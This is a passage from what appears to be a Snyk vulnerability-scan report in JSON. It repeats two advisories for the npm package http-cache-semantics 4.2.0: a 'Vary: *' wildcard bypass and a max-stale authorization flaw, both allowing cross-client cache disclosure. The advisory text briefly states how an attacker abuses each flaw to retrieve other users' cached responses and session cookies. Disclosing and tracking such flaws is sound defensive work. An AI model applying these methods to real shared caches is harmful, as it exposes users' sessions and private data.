for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmaccess@10.0.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": 